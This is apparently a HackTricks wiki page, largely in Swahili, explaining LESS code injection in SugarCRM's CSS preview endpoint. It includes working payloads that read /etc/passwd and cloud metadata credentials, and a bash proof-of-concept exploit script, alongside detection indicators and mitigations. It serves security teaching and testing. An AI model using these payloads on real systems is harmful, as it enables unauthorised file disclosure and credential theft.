LESS Code Injection leading to SSRF & Local File Read

Reading time: 4 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Overview

LESS ni pre-processor maarufu wa CSS inayoongeza mabadiliko, mixins, kazi na amri yenye nguvu @import. Wakati wa uundaji injini ya LESS itafanya kupata rasilimali zilizotajwa katika amri za @import na kuingiza ("inline") maudhui yao katika CSS inayotokana wakati chaguo la (inline) linapotumika.

Wakati programu inachanganya ingizo linalodhibitiwa na mtumiaji katika mfuatano ambao baadaye unachambuliwa na mkusanyiko wa LESS, mshambuliaji anaweza kuingiza msimbo wa LESS wa kiholela. Kwa kutumia @import (inline) mshambuliaji anaweza kulazimisha seva kupata:

  • Faili za ndani kupitia itifaki ya file:// (ufichuzi wa taarifa / Ujumuishaji wa Faili za Ndani).
  • Rasilimali za mbali kwenye mitandao ya ndani au huduma za metadata za wingu (SSRF).

Teknolojia hii imeonekana katika bidhaa halisi kama SugarCRM ≤ 14.0.0 (/rest/v10/css/preview endpoint).

Exploitation

  1. Tambua parameter ambayo imeingizwa moja kwa moja ndani ya mfuatano wa mtindo unaoshughulikiwa na injini ya LESS (mfano ?lm= katika SugarCRM).
  2. Funga taarifa ya sasa na ingiza amri mpya. Msingi wa kawaida ni:
  • ; – inamaliza tamko la awali.
  • } – inafunga block ya awali (ikiwa inahitajika).
  1. Tumia @import (inline) '<URL>'; kusoma rasilimali za kiholela.
  2. Kwa hiari ingiza alama (data: URI) baada ya kuagiza ili kurahisisha uchimbaji wa maudhui yaliyopatikana kutoka kwa CSS iliyokusanywa.

Local File Read

1; @import (inline) 'file:///etc/passwd';
@import (inline) 'data:text/plain,@@END@@'; //

Maudhui ya /etc/passwd yataonekana katika jibu la HTTP kabla ya alama ya @@END@@.

SSRF – Metadata ya Wingu

1; @import (inline) "http://169.254.169.254/latest/meta-data/iam/security-credentials/";
@import (inline) 'data:text/plain,@@END@@'; //

PoC ya Otomatiki (mfano wa SugarCRM)

bash
#!/usr/bin/env bash
# Usage: ./exploit.sh http://target/sugarcrm/ /etc/passwd

TARGET="$1"        # Base URL of SugarCRM instance
RESOURCE="$2"      # file:// path or URL to fetch

INJ=$(python -c "import urllib.parse,sys;print(urllib.parse.quote_plus(\"1; @import (inline) '$RESOURCE'; @import (inline) 'data:text/plain,@@END@@';//\"))")

curl -sk "${TARGET}rest/v10/css/preview?baseUrl=1&lm=${INJ}" | \
sed -n 's/.*@@END@@\(.*\)/\1/p'

Detection

  • Angalia majibu ya .less au .css yanayozalishwa kwa dinamikali yanayojumuisha vigezo vya uchunguzi visivyo safishwa.
  • Wakati wa ukaguzi wa msimbo, tafuta ujenzi kama "@media all { .preview { ... ${userInput} ... } }" uliopitishwa kwa kazi za LESS render.
  • Jaribio la kutumia mara nyingi linajumuisha @import, (inline), file://, http://169.254.169.254, n.k.

Mitigations

  • Usipitishwe data isiyoaminika kwa LESS compiler.
  • Ikiwa thamani za dinamikali zinahitajika, safisha/vitakasa vizuri (mfano, punguza kwa alama za nambari, orodha za kibali).
  • Zima, inapowezekana, uwezo wa kutumia (inline) imports, au punguza protokali zinazoruhusiwa kuwa https.
  • Hifadhi utegemezi kuwa wa kisasa – SugarCRM ilirekebisha tatizo hili katika toleo 13.0.4 na 14.0.1.

Real-World Cases

ProductVulnerable EndpointImpact
SugarCRM ≤ 14.0.0/rest/v10/css/preview?lm=Unauthenticated SSRF & local file read

References

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks